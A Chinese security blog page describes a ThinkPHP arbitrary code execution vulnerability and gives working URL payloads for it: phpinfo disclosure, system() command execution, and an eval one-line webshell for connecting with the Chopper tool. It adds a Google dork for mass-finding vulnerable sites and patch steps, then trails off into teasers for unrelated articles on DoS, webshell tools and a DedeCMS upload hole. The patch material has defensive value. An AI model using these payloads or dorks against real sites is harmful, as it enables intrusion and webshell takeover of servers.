ThinkPHP是一个开源的PHP框架, 是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循 Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和 *** P的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
最近thinkphp框架爆出了一个任意代码执行漏洞,其威胁程序相当的高,漏洞利用 *** 如下:
index.php/module/aciton/param1/${@print(THINK_VERSION)}
index.php/module/aciton/param1/${@function_all()} 其中function_all代表任何函数,比如:
index.php/module/aciton/param1/${@phpinfo()} 获取服务器的系统配置信息等。 index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al 列出网站文件列表 index.php/module/action/param1/{${eval($_POST[s])}} 直接执行一句话代码,用菜刀直接连接. 有时候连接不上的话需要修改一下后面的一句话用print()函数打印出来,如下:
index.php/module/action/param1/$%7B@print(eval($_POST[c]))%7D
黑阔可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。 thinkphp框架执行任意代码漏洞修复 *** :
用户可下载官方发布的补丁:http://www.nxadmin.com/tools/ThinkPHP_20120323_security_patch.zip 修正 *** :
首先解压缩安全补丁文件。
2.1和2.2版本 替换补丁包中的Dispatcher.class.php 文件到 ThinkPHP/Lib/Think/Util/目录下的同名文件 3.0版本 替换补丁包中的Dispatcher.class.php 文件到 ThinkPHP/Lib/Core/目录下面的同名文件 替换补丁包中的CheckRouteBehavior.class.php 文件到 ThinkPHP/Lib/Behavior/目录下面的同名文件
写本篇文章的目的在于揭露一种黑客作弊的手段,也给那些疏于企业网站安全的站长提一个醒。同时提供一种追找黑客行踪的简单方法。 前几日,我的客户电话说自己的百度排名没有了,查询下竟然...
Slowloris DOS进攻也可称之为:Slowloris拒绝服务攻击进攻; 普遍的DDOS进攻有SYN flood、UDP flood、ICMP flood等。在其中SYN flo...
中国蚁剑是一款开源系统的混合开发网址可视化工具,它关键朝向于合理合法受权的网站渗透测试安全性工作人员及其开展基本实际操作的系统管理员。 通俗化的讲:中国蚁剑是 一 款比水果刀还牛的sh...
织网5.7的漏洞,可任意上传~ 搜索关键词:Powered by DedeCMSV57_GBK 2004-2011 DesDev Inc 访问/data/admin/ver.txt来查...
什么叫Nexpose? 由管理方法Metasploit(Rapid7)的工作人员构成,该专用工具是一个漏洞检测程序流程,致力于适用全部漏洞管理生命期,包含发觉,检验,认证,风险分类,危害剖析,汇报和...
什么叫SolarWinds? SolarWinds服务器防火墙安全性管理工具(FSM)针对必须在其重要安全防护设备上开展汇报和权威专家管理方法的机构和企业而言是一个非常好的解决方法。该商品的设定和配...